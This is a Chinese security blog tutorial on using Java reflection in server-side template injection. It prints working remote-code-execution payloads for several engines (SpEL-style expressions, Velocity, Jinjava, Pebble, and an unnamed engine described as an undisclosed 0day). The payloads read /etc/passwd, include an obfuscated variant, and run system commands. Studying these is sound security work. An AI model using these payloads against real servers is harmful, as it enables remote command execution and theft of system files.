從安全角度談Java反射機制--終章

前言

首發:https://www.sec-in.com/article/309
   通過前兩章的瞭解,大家對Java反射機制有了一定的認知。本章作爲反射篇的最終章,如果從反序列化的層面來說Java反射的具體危害,需要一些反序列化的基礎知識。故筆者決定從反射機制本身來說,它的一個經常被使用的點—Server-Side Template Injection(簡稱SSTI),中文名服務器端模板注入。


SSTI

   模板引擎被廣泛應用於Web應用程序中,通過網頁和電子郵件呈現動態數據。將用戶輸入內容不安全嵌入到模板中,實現服務器端模板注入。SSTI極其容易被誤認爲是跨站點腳本(XSS),大多數人經常與之擦肩而過。與XSS不同的是,模板注入可以用於直接攻擊Web服務器內部,並經常獲得遠程代碼執行(RCE)。模板注入可以通過開發人員的錯誤配置,通過故意暴露模板,開發人員試圖通過來其提供豐富的功能,就像維基、博客、營銷應用和內容管理等系統。
  先看通用的Java SSTI的payload,payload中的T通常是需要聲明的變量,每一個模板引擎都不同。在這裏,我們不能發現已經可以看到反射的“影子”了,下面會從每一個模板來具體分析介紹任何使用反射從SSTIRCE

  1. 獲取系統環境變量

${T(java.lang.System).getenv()}

  1. 讀取文件內容
  • ${T(java.lang.Runtime).getRuntime().exec(‘cat etc/passwd’)}
  • ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Template

前言

   這裏模板引擎是國內的模板引擎,漏洞還未必收錄,故暫不公佈,這裏只做學習研究。如果你無意中接觸過這個模板,如果你認出了這個模板,那麼恭喜你獲得0day一枚。筆者有一個請求如果你認出了,就不要公佈了,0day你自己知道就好了。此款模板引擎禁止使用了java.lang.Runtimejava.lang.ProcessBuilder類的使用,使用Java的反射機制完美的bypass。

payload構造

${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",
@java.lang.Class.forName("java.lang.String")).invoke(
@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
  1. 我們且看第一行,按照上面給出簡單案例方法,我們應該這樣子就可以了@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(newInstance(),"calc")
  2. 但是直接String.class直接寫模板是找不到的,所以我們得繼續構造payload,將String.class轉化@java.lang.Class.forName("java.lang.String")的形式,然後payload就變成下面這樣子了。@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(newInstance(),"calc")
  3. 照道理上面就可以直接使用了,但是呢Runtime類沒有無參構造方法,因此不能使用newInstance()方法來實例化。只能通過調用getRuntime()方法來進行實例化。所以newInstance()得替換成@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null)最終payload就變成了下面這樣子。
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

Velocity

前言

   Velocity是一個基於Java的模板引擎,是隸屬於Apache旗下的一個開源項目。它允許任何人使用簡單而強大的模板語言來引用Java代碼中定義的對象。
   下面是Velocity的SSTI的payload,此時的你可能會有個疑問。payload語法好像有點奇怪?這個其實是模板語法,每一個模板引擎的語法都不同。筆者覺得大同小異,有過編程的基礎童鞋,稍加學習就能明白。

#set($x="")  
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))  
#set($str=$x.class.forName("java.lang.String"))
#set($ex=$rt.getRuntime().exec("calc"))$ex.waitFor() 
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))
#end

#set語法

   #set語法可以創建一個Velocity的變量,#set語法對應的Velocity語法樹是ASTSetDirective類,翻開這個類的代碼,可以發現它有兩個子節點:分別是RightHandSide和LeftHandSide,分別代表“=”兩邊的表達式值。與Java語言的賦值操作有點不一樣的是,左邊的LeftHandSide可能是一個變量標識符,也可能是一個set方法調用。變量標識符很好理解,如前面的#set($ var=“偶數”),另外是一個set方法調用,如#set($person.name=”junshan”),這實際上相當於Java中person.setName(“junshan”)方法的調用。

foreach語法

   Velocity中的循環語法只有這一種,它與Java中的for循環的語法糖形式十分類似,如#foreach($ child in $person.children) $ person.children表示的是一個集合,它可能是一個List集合或者一個數組,而$ child表示的是每個從集合中取出的值。從render方法代碼中可以看出,Velocity首先是取得$ person.children的值,然後將這個值封裝成Iterator集合,然後依次取出這個集合中的每一個值,將這個值以$child爲變量標識符放入context中。除此以外需要特別注意的是,Velocity在循環時還在context中放入了另外兩個變量,分別是counterName和hasNextName,這兩個變量的名稱分別在配置文件配置項directive.foreach.counter.name和directive.foreach.iterator.name中定義,它們表示當前的循環計數和是否還有下一個值。前者相當於for(int i=1;i<10;i++)中的i值,後者相當於while(it.hasNext())中的it.hasNext()的值,這兩個值在#foreach的循環體中都有可能用到。由於elementKey、counterName和hasNextName是在#foreach中臨時創建的,如果當前的context中已經存在這幾個變量,要把原始的變量值保存起來,以便在這個#foreach執行結束後恢復。如果context中沒有這幾個變量,那麼#foreach執行結束後要刪除它們,這就是代碼最後部分做的事情,這與我們前面介紹的#set語法沒有範圍限制不同,#foreach中臨時產生的變量只在#foreach中有效。

更多語法知識推薦Velocity中文文檔


反射Payload

   瞭解語法之後,回頭看payload會覺得很簡單,其實就是基本的payload的構造。

#set($x="")  
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))  
#set($str=$x.class.forName("java.lang.String"))
#set($ex=$rt.getRuntime().exec("calc"))$ex.waitFor() 
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))
#end

把payload轉化成僞代碼。

rt = java.lang.Runtime.class
chr = java.lang.String
ex = java.lang.Runtime.getRuntime().exec("calc")
ex.waitFor()
// 接着就是循環讀取輸出

推薦一個經典案例
Apache Solr 模板注入遠程命令執行漏洞詳情
白頭搔更短,SSTI惹人心!漏洞分析


Jinjava

前言

   Jinjava是一款開源的 Java 模板引擎,基於 django 模板語法,適用於渲染 jinja 模板(至少是 HubSpot 內容中使用的 jinja 子集)。目前在生產中用於渲染HubSpot CMS,每月有數以億計的頁面瀏覽量的網站。官方GitHub地址
判斷Jinjava是否存在SSTI漏洞的payload:

  1. {{‘a’.toUpperCase()}} 回顯大寫A
  2. {{ request }} 會返回一個請求對象 例如:com.[...].context.TemplateContextRequest@23548206

反射Payload

   這款模板引擎的payload直接就能看出是用Java的反射機制,都是先獲取的javax.script.ScriptEngineManager類對象,然後newInstance()實例化,在之後創建一個JavaScript引擎最後執行命令。
在這裏插入圖片描述

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}


{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Pebble

   Pebble是一個受Twig啓發的java模板化引擎。它以其繼承功能和易讀的語法從人羣中脫穎而出。它內置了安全的自動縮放功能,並且包含了對國際化的集成支持。更多內容查看官方GitHub地址官方文檔
payload:

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

總結

   各大模板引擎在設計的時候,都或多或少變相禁止java.lang.Runtimejava.lang.Processbuilder類,因此使用Java的反射機制可以完全的繞過限制。想要深入學習SSTI漏洞的時候,建議看模板引擎官方給出的文檔,在結合JDK文檔大多數模板引擎是可以bypass的。


參考

https://samny.blog.csdn.net/article/details/104881477
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章